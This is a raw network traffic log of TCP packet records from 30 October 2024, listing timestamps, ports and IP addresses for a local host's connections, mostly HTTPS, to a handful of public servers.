Oct 30, 2024 11:45:28.215502024 CET	443	49812	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.246510029 CET	49810	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.246542931 CET	443	49810	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.247663975 CET	49810	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.247668028 CET	443	49810	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.251267910 CET	49812	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.251281977 CET	443	49812	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.251929998 CET	49812	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.251935959 CET	443	49812	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.264677048 CET	443	49811	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.298609018 CET	49811	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.298621893 CET	443	49811	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.299770117 CET	49811	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.299777985 CET	443	49811	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.317472935 CET	443	49814	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.318797112 CET	49814	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.318810940 CET	443	49814	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.319181919 CET	49814	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.319185972 CET	443	49814	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.332418919 CET	443	49813	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.374335051 CET	49813	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.387392044 CET	443	49810	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.387427092 CET	443	49812	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.387649059 CET	443	49810	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.387705088 CET	49810	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.387861013 CET	443	49812	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.388160944 CET	49812	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.441797018 CET	443	49811	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.441883087 CET	443	49811	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.441977978 CET	49811	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.456289053 CET	443	49814	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.456569910 CET	443	49814	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.456788063 CET	49814	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.469923019 CET	49813	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.469933033 CET	443	49813	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.471018076 CET	49813	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.471023083 CET	443	49813	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.492368937 CET	49811	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.492368937 CET	49811	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.492387056 CET	443	49811	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.492398977 CET	443	49811	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.492429018 CET	49814	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.492450953 CET	443	49814	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.586952925 CET	49810	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.586987019 CET	443	49810	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.587022066 CET	49810	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.587028980 CET	443	49810	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.587997913 CET	49812	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.587997913 CET	49812	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.588017941 CET	443	49812	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.588027000 CET	443	49812	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.608252048 CET	443	49813	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.608350039 CET	443	49813	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.608478069 CET	49813	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.922806025 CET	49813	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.922815084 CET	443	49813	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.922827959 CET	49813	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.922832966 CET	443	49813	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.963109970 CET	49815	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:28.963146925 CET	443	49815	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.963238001 CET	49815	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.039421082 CET	49816	443	192.168.2.6	94.245.104.56
Oct 30, 2024 11:45:29.039484024 CET	443	49816	94.245.104.56	192.168.2.6
Oct 30, 2024 11:45:29.039753914 CET	49816	443	192.168.2.6	94.245.104.56
Oct 30, 2024 11:45:29.062124968 CET	49815	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.062135935 CET	443	49815	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:29.067754984 CET	49816	443	192.168.2.6	94.245.104.56
Oct 30, 2024 11:45:29.067776918 CET	443	49816	94.245.104.56	192.168.2.6
Oct 30, 2024 11:45:29.212995052 CET	49823	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.213010073 CET	443	49823	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:29.213191032 CET	49823	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.216547966 CET	49824	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.216593981 CET	443	49824	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:29.216646910 CET	49824	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.229655981 CET	49825	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.229674101 CET	443	49825	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:29.229748964 CET	49825	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.277787924 CET	49823	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.277806044 CET	443	49823	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:29.280052900 CET	49824	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.280078888 CET	443	49824	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:29.290426970 CET	49826	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.290451050 CET	443	49826	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:29.290597916 CET	49826	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.290710926 CET	49826	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.290724993 CET	443	49826	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:29.290882111 CET	49825	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:29.290901899 CET	443	49825	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:29.293363094 CET	49707	443	192.168.2.6	20.190.159.23
Oct 30, 2024 11:45:29.293458939 CET	49707	443	192.168.2.6	20.190.159.23
Oct 30, 2024 11:45:29.298779011 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.298887968 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.298949003 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.298960924 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.298969984 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.823812962 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.823831081 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.823842049 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.823853016 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.823863983 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.823924065 CET	49707	443	192.168.2.6	20.190.159.23
Oct 30, 2024 11:45:29.824038029 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.824064016 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.824071884 CET	49707	443	192.168.2.6	20.190.159.23
Oct 30, 2024 11:45:29.824075937 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.824086905 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.824109077 CET	49707	443	192.168.2.6	20.190.159.23
Oct 30, 2024 11:45:29.824403048 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:29.824469090 CET	49707	443	192.168.2.6	20.190.159.23
Oct 30, 2024 11:45:30.055061102 CET	443	49707	20.190.159.23	192.168.2.6
Oct 30, 2024 11:45:30.055145979 CET	49707	443	192.168.2.6	20.190.159.23
Oct 30, 2024 11:45:30.189876080 CET	443	49815	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.192576885 CET	443	49823	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.197040081 CET	443	49824	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.197877884 CET	443	49825	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.202271938 CET	443	49826	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.277545929 CET	49826	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.277565956 CET	443	49826	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.278175116 CET	49826	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.278178930 CET	443	49826	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.278506994 CET	49825	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.278525114 CET	443	49825	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.279015064 CET	49825	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.279026031 CET	443	49825	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.279637098 CET	49815	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.279649973 CET	443	49815	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.279797077 CET	49815	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.279800892 CET	443	49815	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.280232906 CET	49823	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.280246019 CET	443	49823	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.280620098 CET	49823	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.280625105 CET	443	49823	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.289767981 CET	49824	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.289787054 CET	443	49824	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.290201902 CET	49824	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.290206909 CET	443	49824	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.310210943 CET	443	49816	94.245.104.56	192.168.2.6
Oct 30, 2024 11:45:30.334619999 CET	49816	443	192.168.2.6	94.245.104.56
Oct 30, 2024 11:45:30.334639072 CET	443	49816	94.245.104.56	192.168.2.6
Oct 30, 2024 11:45:30.335874081 CET	443	49816	94.245.104.56	192.168.2.6
Oct 30, 2024 11:45:30.335944891 CET	49816	443	192.168.2.6	94.245.104.56
Oct 30, 2024 11:45:30.343049049 CET	49816	443	192.168.2.6	94.245.104.56
Oct 30, 2024 11:45:30.343123913 CET	443	49816	94.245.104.56	192.168.2.6
Oct 30, 2024 11:45:30.356470108 CET	49816	443	192.168.2.6	94.245.104.56
Oct 30, 2024 11:45:30.356489897 CET	443	49816	94.245.104.56	192.168.2.6
Oct 30, 2024 11:45:30.413389921 CET	443	49825	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.413655996 CET	443	49825	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.413701057 CET	49825	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.414625883 CET	443	49823	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.414896011 CET	443	49823	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.414940119 CET	49823	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.416055918 CET	443	49826	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.416275024 CET	443	49826	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.416321039 CET	49826	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.424941063 CET	443	49824	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.425050974 CET	443	49824	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.425117970 CET	49824	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.434305906 CET	443	49815	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.434478045 CET	443	49815	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.434519053 CET	49815	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.443650961 CET	49825	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.443670034 CET	443	49825	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.443885088 CET	49824	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.443903923 CET	443	49824	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.443919897 CET	49824	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.443926096 CET	443	49824	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.445396900 CET	49815	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.445410013 CET	443	49815	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.445421934 CET	49815	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.445426941 CET	443	49815	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.448338985 CET	49823	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.448355913 CET	443	49823	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.448367119 CET	49823	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.448374987 CET	443	49823	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.450248003 CET	49826	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.450256109 CET	443	49826	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.450265884 CET	49826	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.450269938 CET	443	49826	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.466531992 CET	49827	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.466555119 CET	443	49827	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.466612101 CET	49827	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.508642912 CET	49816	443	192.168.2.6	94.245.104.56
Oct 30, 2024 11:45:30.542797089 CET	49827	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.542812109 CET	443	49827	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.544893026 CET	49830	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.544924974 CET	443	49830	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.544991970 CET	49830	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.545304060 CET	49830	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.545316935 CET	443	49830	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.594325066 CET	443	49816	94.245.104.56	192.168.2.6
Oct 30, 2024 11:45:30.638247967 CET	49816	443	192.168.2.6	94.245.104.56
Oct 30, 2024 11:45:30.638354063 CET	443	49816	94.245.104.56	192.168.2.6
Oct 30, 2024 11:45:30.638583899 CET	443	49816	94.245.104.56	192.168.2.6
Oct 30, 2024 11:45:30.638637066 CET	49816	443	192.168.2.6	94.245.104.56
Oct 30, 2024 11:45:30.654695034 CET	49832	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.654738903 CET	443	49832	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.654793978 CET	49832	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.684688091 CET	49833	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.684736967 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.684757948 CET	49832	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.684781075 CET	443	49832	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.684799910 CET	49833	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.685153008 CET	49833	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.685165882 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.686392069 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.686413050 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.686460018 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.686711073 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:30.686726093 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:30.973511934 CET	80	49790	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:30.973553896 CET	49790	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:31.082154989 CET	49837	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:31.082173109 CET	443	49837	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:31.082251072 CET	49837	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:31.082870007 CET	49837	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:31.082884073 CET	443	49837	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:31.297091007 CET	443	49827	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.297828913 CET	443	49830	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.350620985 CET	49827	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.350642920 CET	443	49827	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.351268053 CET	49827	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.351274967 CET	443	49827	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.352183104 CET	49830	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.352202892 CET	443	49830	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.352897882 CET	49830	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.352905989 CET	443	49830	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.438280106 CET	443	49832	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.445966959 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.446162939 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.486304998 CET	443	49827	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.486464024 CET	443	49827	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.486783981 CET	49827	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.487137079 CET	443	49830	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.487157106 CET	443	49830	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.487235069 CET	443	49830	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.487332106 CET	49830	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.487332106 CET	49830	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.501482964 CET	49833	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.502516985 CET	49832	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.502726078 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.518853903 CET	49832	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.518866062 CET	443	49832	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.519328117 CET	49832	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.519335985 CET	443	49832	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.519534111 CET	49830	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.519534111 CET	49830	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.519558907 CET	443	49830	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.519572020 CET	49827	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.519572020 CET	49827	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.519573927 CET	443	49830	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.519593000 CET	443	49827	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.519603968 CET	443	49827	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.522449017 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.522456884 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.522912025 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.522917986 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.523181915 CET	49833	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.523190022 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.523613930 CET	49833	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.523617983 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.654844999 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.654901981 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.655009031 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.655033112 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.655100107 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.655194044 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.655335903 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.655389071 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.656080961 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.656116009 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.656194925 CET	49833	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.656204939 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.656332016 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.656671047 CET	443	49832	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.656730890 CET	49833	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.657922983 CET	443	49832	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.657982111 CET	49832	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.706136942 CET	49842	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.706161022 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.706218958 CET	49842	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.761408091 CET	49842	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.761426926 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.761840105 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.761871099 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.761883974 CET	49834	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.761890888 CET	443	49834	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.764679909 CET	49833	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.764681101 CET	49833	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.764693022 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.764702082 CET	443	49833	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.765919924 CET	49832	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.765935898 CET	443	49832	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.766012907 CET	49832	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.766020060 CET	443	49832	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.858293056 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:31.858324051 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:31.858405113 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:31.858869076 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:31.858882904 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:31.871001959 CET	49845	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.871030092 CET	443	49845	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.871607065 CET	49845	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.900482893 CET	49845	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.900516987 CET	443	49845	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.916795015 CET	49846	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.916831970 CET	443	49846	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.917242050 CET	49846	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.917766094 CET	49846	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.917778969 CET	443	49846	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.920104027 CET	49847	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.920145988 CET	443	49847	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.920223951 CET	49847	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.920679092 CET	49847	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.920703888 CET	443	49847	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.927140951 CET	49848	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.927175045 CET	443	49848	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:31.927299976 CET	49848	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.927541018 CET	49848	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:31.927555084 CET	443	49848	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.225836039 CET	443	49837	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:32.225933075 CET	49837	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:32.406038046 CET	49837	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:32.406056881 CET	443	49837	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:32.406404018 CET	443	49837	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:32.451065063 CET	49837	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:32.451145887 CET	49837	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:32.451153994 CET	443	49837	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:32.451433897 CET	49837	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:32.466413975 CET	49855	443	192.168.2.6	18.154.84.16
Oct 30, 2024 11:45:32.466449022 CET	443	49855	18.154.84.16	192.168.2.6
Oct 30, 2024 11:45:32.466509104 CET	49855	443	192.168.2.6	18.154.84.16
Oct 30, 2024 11:45:32.466954947 CET	49855	443	192.168.2.6	18.154.84.16
Oct 30, 2024 11:45:32.466965914 CET	443	49855	18.154.84.16	192.168.2.6
Oct 30, 2024 11:45:32.499337912 CET	443	49837	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:32.531290054 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.532147884 CET	49842	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.532171965 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.532874107 CET	49842	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.532880068 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.674916029 CET	443	49846	13.107.253.45	192.168.2.6
